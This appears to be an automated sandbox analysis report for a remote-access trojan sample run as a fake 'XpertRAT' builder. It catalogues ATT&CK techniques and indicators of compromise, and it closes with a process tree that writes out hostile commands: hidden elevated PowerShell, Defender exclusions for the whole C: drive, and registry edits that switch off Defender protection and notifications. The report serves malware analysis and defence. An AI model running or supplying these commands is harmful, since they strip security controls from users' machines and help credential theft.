milleniumrat | 63e779df2c4821beca329fe9322053a1de1dba4c0e63cb3d569ffc09bbf34267

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 18 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScriptScanning = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableArchiveScanning = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableEmailScanning = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIntrusionPreventionSystem = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies Windows Defender notification settings 3 TTPs 18 IoCs

defense_evasion trojan

Windows Service

Modify Registry

Disable or Modify Tools

credential_access stealer

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableEnhancedNotifications = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableVirusAndThreatProtectionNotifications = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableAppNotifications = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableAllNotifications = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications\DisableVirusAndThreatProtectionNotifications = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableThreatsNotifications = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableSecurityHealthNotification = "1"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 21 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4088	powershell.exe
1264	powershell.exe
2388	powershell.exe
1248	powershell.exe
3720	powershell.exe
1456	powershell.exe
452	powershell.exe
1104	powershell.exe
2832	powershell.exe
3492	powershell.exe
888	powershell.exe
1812	powershell.exe
1632	powershell.exe
4812	powershell.exe
3448	powershell.exe
1076	powershell.exe
3356	powershell.exe
3324	powershell.exe
2772	powershell.exe
2944	powershell.exe
4844	powershell.exe

Downloads MZ/PE file 4 IoCs

flow	pid	Process
2	4236	crack.exe
2	4236	crack.exe
118	4788	register.exe
118	4788	register.exe

Uses browser remote debugging 2 TTPs 12 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

Steal Web Session Cookie

T1539

Modify Authentication Process

pid	Process
4692	msedge.exe
3676	msedge.exe
4128	msedge.exe
1092	msedge.exe
2468	msedge.exe
4064	msedge.exe
3792	msedge.exe
3264	msedge.exe
4000	msedge.exe
1660	msedge.exe
4228	msedge.exe
4120	msedge.exe

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	vshost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	svchost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	svchost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	Installer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	register.exe
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	Setup.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Drops startup file 21 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update4.exe	register.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update6.exe	register.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\updates_notes.txt	register.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\UpdateDownloader.exe	register.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update6.exe	crack.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\UpdateDownloader.exe	crack.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update1.exe	crack.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\UpdateDownloader.exe	crack.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update1.exe	register.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FqXEZSDTPVeZk.lnk	Setup.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update5.exe	register.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update2.exe	crack.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update3.exe	crack.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update4.exe	crack.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update5.exe	crack.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BAluTpV.lnk	Installer.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JDXsnbQ.lnk	register.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update2.exe	register.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\updates_notes.txt	crack.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update3.exe	register.exe

Executes dropped EXE 27 IoCs

pid	Process
2724	activater.exe
4236	crack.exe
3344	Installer.exe
2000	register.exe
5068	Setup.exe
4588	update1.exe
4908	update2.exe
3460	OneDriveUpdate.exe
2872	svchost.exe
4104	vshost.exe
4272	OneDriveUpdate.exe
3048	OneDriveUpdate.exe
4980	svchost.exe
3464	Installer.exe
2304	vshost.exe
4788	register.exe
5048	update1.exe
2388	Setup.exe
4648	Setup.exe
2344	svchost.exe
4832	update2.exe
3300	svchost.exe
2820	vshost.exe
2164	vshost.exe
4840	svchost.exe
3492	svchost.exe
396	svchost.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Setup = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\OneDriveUpdate.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsHealthMonitor = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\OneDriveUpdate.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\ThemeSync.exe"	reg.exe

Contacts third-party web service commonly abused for C2 1 TTPs 7 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
12	raw.githubusercontent.com
14	raw.githubusercontent.com
15	raw.githubusercontent.com
122	raw.githubusercontent.com
141	raw.githubusercontent.com
154	raw.githubusercontent.com
250	raw.githubusercontent.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
9	ip-api.com
152	ip-api.com

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 3344 set thread context of 3464	3344	Installer.exe	240
PID 2000 set thread context of 4788	2000	register.exe	246
PID 5068 set thread context of 4648	5068	Setup.exe	251
PID 2304 set thread context of 2164	2304	vshost.exe	258
PID 3300 set thread context of 4840	3300	svchost.exe	261
PID 3492 set thread context of 396	3492	svchost.exe	285

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4788	sc.exe
924	sc.exe
3556	sc.exe
4812	sc.exe
2188	sc.exe
1036	sc.exe
5052	sc.exe
2144	sc.exe
1152	sc.exe
1716	sc.exe
4412	sc.exe
2096	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 26 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	crack.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Installer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vshost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Installer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vshost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	register.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	update2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	register.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	update2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vshost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2880	msedge.exe
2448	msedge.exe

Delays execution with timeout.exe 3 IoCs

defense_evasion

pid	Process
3704	timeout.exe
1252	timeout.exe
3488	timeout.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Kills process with taskkill 2 IoCs

defense_evasion

pid	Process
4952	taskkill.exe
4708	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings	powershell.exe

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

pid	Process
3048	reg.exe
1848	reg.exe
3272	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4088	powershell.exe
4088	powershell.exe
1264	powershell.exe
1264	powershell.exe
2944	powershell.exe
2944	powershell.exe
3720	powershell.exe
3720	powershell.exe
2388	powershell.exe
2388	powershell.exe
1456	powershell.exe
1456	powershell.exe
452	powershell.exe
452	powershell.exe
4104	vshost.exe
4104	vshost.exe
4104	vshost.exe
4104	vshost.exe
4104	vshost.exe
4104	vshost.exe
4104	vshost.exe
4104	vshost.exe
4104	vshost.exe
4104	vshost.exe
4104	vshost.exe
4104	vshost.exe
1076	powershell.exe
1076	powershell.exe
3356	powershell.exe
3356	powershell.exe
3324	powershell.exe
3324	powershell.exe
1104	powershell.exe
1104	powershell.exe
2832	powershell.exe
2832	powershell.exe
2832	powershell.exe
4104	vshost.exe
4104	vshost.exe
4104	vshost.exe
4104	vshost.exe
4104	vshost.exe
4104	vshost.exe
4812	powershell.exe
4812	powershell.exe
4812	powershell.exe
888	powershell.exe
888	powershell.exe
888	powershell.exe
3448	powershell.exe
3448	powershell.exe
3448	powershell.exe
3344	Installer.exe
3344	Installer.exe
3344	Installer.exe
2000	register.exe
2000	register.exe
1812	powershell.exe
1812	powershell.exe
2000	register.exe
4188	powershell.exe
4188	powershell.exe
4188	powershell.exe
1248	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
3792	msedge.exe
3792	msedge.exe
3792	msedge.exe
3792	msedge.exe
3676	msedge.exe
3676	msedge.exe
3676	msedge.exe
3676	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4088	powershell.exe
Token: SeDebugPrivilege	1264	powershell.exe
Token: SeDebugPrivilege	2944	powershell.exe
Token: SeIncreaseQuotaPrivilege	1264	powershell.exe
Token: SeSecurityPrivilege	1264	powershell.exe
Token: SeTakeOwnershipPrivilege	1264	powershell.exe
Token: SeLoadDriverPrivilege	1264	powershell.exe
Token: SeSystemProfilePrivilege	1264	powershell.exe
Token: SeSystemtimePrivilege	1264	powershell.exe
Token: SeProfSingleProcessPrivilege	1264	powershell.exe
Token: SeIncBasePriorityPrivilege	1264	powershell.exe
Token: SeCreatePagefilePrivilege	1264	powershell.exe
Token: SeBackupPrivilege	1264	powershell.exe
Token: SeRestorePrivilege	1264	powershell.exe
Token: SeShutdownPrivilege	1264	powershell.exe
Token: SeDebugPrivilege	1264	powershell.exe
Token: SeSystemEnvironmentPrivilege	1264	powershell.exe
Token: SeRemoteShutdownPrivilege	1264	powershell.exe
Token: SeUndockPrivilege	1264	powershell.exe
Token: SeManageVolumePrivilege	1264	powershell.exe
Token: 33	1264	powershell.exe
Token: 34	1264	powershell.exe
Token: 35	1264	powershell.exe
Token: 36	1264	powershell.exe
Token: SeIncreaseQuotaPrivilege	1264	powershell.exe
Token: SeSecurityPrivilege	1264	powershell.exe
Token: SeTakeOwnershipPrivilege	1264	powershell.exe
Token: SeLoadDriverPrivilege	1264	powershell.exe
Token: SeSystemProfilePrivilege	1264	powershell.exe
Token: SeSystemtimePrivilege	1264	powershell.exe
Token: SeProfSingleProcessPrivilege	1264	powershell.exe
Token: SeIncBasePriorityPrivilege	1264	powershell.exe
Token: SeCreatePagefilePrivilege	1264	powershell.exe
Token: SeBackupPrivilege	1264	powershell.exe
Token: SeRestorePrivilege	1264	powershell.exe
Token: SeShutdownPrivilege	1264	powershell.exe
Token: SeDebugPrivilege	1264	powershell.exe
Token: SeSystemEnvironmentPrivilege	1264	powershell.exe
Token: SeRemoteShutdownPrivilege	1264	powershell.exe
Token: SeUndockPrivilege	1264	powershell.exe
Token: SeManageVolumePrivilege	1264	powershell.exe
Token: 33	1264	powershell.exe
Token: 34	1264	powershell.exe
Token: 35	1264	powershell.exe
Token: 36	1264	powershell.exe
Token: SeIncreaseQuotaPrivilege	1264	powershell.exe
Token: SeSecurityPrivilege	1264	powershell.exe
Token: SeTakeOwnershipPrivilege	1264	powershell.exe
Token: SeLoadDriverPrivilege	1264	powershell.exe
Token: SeSystemProfilePrivilege	1264	powershell.exe
Token: SeSystemtimePrivilege	1264	powershell.exe
Token: SeProfSingleProcessPrivilege	1264	powershell.exe
Token: SeIncBasePriorityPrivilege	1264	powershell.exe
Token: SeCreatePagefilePrivilege	1264	powershell.exe
Token: SeBackupPrivilege	1264	powershell.exe
Token: SeRestorePrivilege	1264	powershell.exe
Token: SeShutdownPrivilege	1264	powershell.exe
Token: SeDebugPrivilege	1264	powershell.exe
Token: SeSystemEnvironmentPrivilege	1264	powershell.exe
Token: SeRemoteShutdownPrivilege	1264	powershell.exe
Token: SeUndockPrivilege	1264	powershell.exe
Token: SeManageVolumePrivilege	1264	powershell.exe
Token: 33	1264	powershell.exe
Token: 34	1264	powershell.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
3792	msedge.exe
3792	msedge.exe
3676	msedge.exe
3676	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3900 wrote to memory of 3816	3900	cmd.exe	84
PID 3900 wrote to memory of 3704	3900	cmd.exe	85
PID 3816 wrote to memory of 3044	3816	XpertRAT v3.0.10 by Blackwolf.exe	86
PID 3816 wrote to memory of 2724	3816	XpertRAT v3.0.10 by Blackwolf.exe	89
PID 2724 wrote to memory of 4708	2724	activater.exe	90
PID 3816 wrote to memory of 4236	3816	XpertRAT v3.0.10 by Blackwolf.exe	92
PID 3816 wrote to memory of 3344	3816	XpertRAT v3.0.10 by Blackwolf.exe	93
PID 3816 wrote to memory of 2000	3816	XpertRAT v3.0.10 by Blackwolf.exe	94
PID 2724 wrote to memory of 3272	2724	activater.exe	95
PID 3044 wrote to memory of 4088	3044	cmd.exe	97
PID 3816 wrote to memory of 5068	3816	XpertRAT v3.0.10 by Blackwolf.exe	98
PID 2724 wrote to memory of 3048	2724	activater.exe	129
PID 4236 wrote to memory of 4588	4236	crack.exe	102
PID 2724 wrote to memory of 1848	2724	activater.exe	103
PID 2724 wrote to memory of 1264	2724	activater.exe	107
PID 4236 wrote to memory of 4908	4236	crack.exe	109
PID 4588 wrote to memory of 2872	4588	update1.exe	111
PID 4908 wrote to memory of 4104	4908	update2.exe	112
PID 4088 wrote to memory of 2728	4088	powershell.exe	113
PID 2728 wrote to memory of 2944	2728	cmd.exe	164
PID 2728 wrote to memory of 3720	2728	cmd.exe	116
PID 2724 wrote to memory of 2388	2724	activater.exe	117
PID 2728 wrote to memory of 1456	2728	cmd.exe	119
PID 2724 wrote to memory of 1472	2724	activater.exe	189
PID 2728 wrote to memory of 452	2728	cmd.exe	217
PID 2724 wrote to memory of 4984	2724	activater.exe	122
PID 2728 wrote to memory of 2452	2728	cmd.exe	124
PID 2728 wrote to memory of 2848	2728	cmd.exe	125
PID 2728 wrote to memory of 1760	2728	cmd.exe	126
PID 2728 wrote to memory of 3528	2728	cmd.exe	127
PID 2724 wrote to memory of 4272	2724	activater.exe	128
PID 2724 wrote to memory of 3048	2724	activater.exe	129
PID 2728 wrote to memory of 3356	2728	cmd.exe	196
PID 2728 wrote to memory of 4112	2728	cmd.exe	131
PID 2728 wrote to memory of 5048	2728	cmd.exe	247
PID 2728 wrote to memory of 3328	2728	cmd.exe	133
PID 2728 wrote to memory of 764	2728	cmd.exe	134
PID 2728 wrote to memory of 4564	2728	cmd.exe	135
PID 2728 wrote to memory of 4904	2728	cmd.exe	136
PID 2728 wrote to memory of 2196	2728	cmd.exe	137
PID 2728 wrote to memory of 4724	2728	cmd.exe	139
PID 2728 wrote to memory of 2172	2728	cmd.exe	140
PID 2728 wrote to memory of 3324	2728	cmd.exe	198
PID 2728 wrote to memory of 116	2728	cmd.exe	142
PID 2728 wrote to memory of 4572	2728	cmd.exe	143
PID 2728 wrote to memory of 4660	2728	cmd.exe	144
PID 2728 wrote to memory of 3704	2728	cmd.exe	146
PID 2728 wrote to memory of 2368	2728	cmd.exe	147
PID 2728 wrote to memory of 2924	2728	cmd.exe	237
PID 2728 wrote to memory of 4676	2728	cmd.exe	149
PID 2728 wrote to memory of 1480	2728	cmd.exe	150
PID 2728 wrote to memory of 1684	2728	cmd.exe	151
PID 2728 wrote to memory of 3660	2728	cmd.exe	152
PID 2728 wrote to memory of 2024	2728	cmd.exe	153
PID 2728 wrote to memory of 3172	2728	cmd.exe	154
PID 2728 wrote to memory of 1312	2728	cmd.exe	155
PID 2728 wrote to memory of 3260	2728	cmd.exe	156
PID 2728 wrote to memory of 820	2728	cmd.exe	233
PID 2728 wrote to memory of 5064	2728	cmd.exe	158
PID 2728 wrote to memory of 4872	2728	cmd.exe	215
PID 2728 wrote to memory of 5000	2728	cmd.exe	160
PID 2728 wrote to memory of 2692	2728	cmd.exe	161
PID 2728 wrote to memory of 692	2728	cmd.exe	162
PID 2728 wrote to memory of 3624	2728	cmd.exe	163

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4708	attrib.exe
1472	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\setup.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3900
- C:\Users\Admin\AppData\Local\Temp\XpertRAT v3.0.10 by Blackwolf.exe
  "XpertRAT v3.0.10 by Blackwolf.exe" -pmyhackbox -y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\run.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3044
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\run.bat' -ArgumentList 'silent' -Verb RunAs -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4088
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\run.bat" silent
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2728
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft\Update' -ErrorAction SilentlyContinue"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2944
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -ErrorAction SilentlyContinue"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3720
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'svchost.exe' -ErrorAction SilentlyContinue"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1456
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:' -ErrorAction SilentlyContinue"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:452
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v DisableNotifications /t REG_DWORD /d 1 /f
        6⤵
        Modifies Windows Defender notification settings
        
        PID:2452
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f
        6⤵
        Modifies Windows Defender notification settings
        
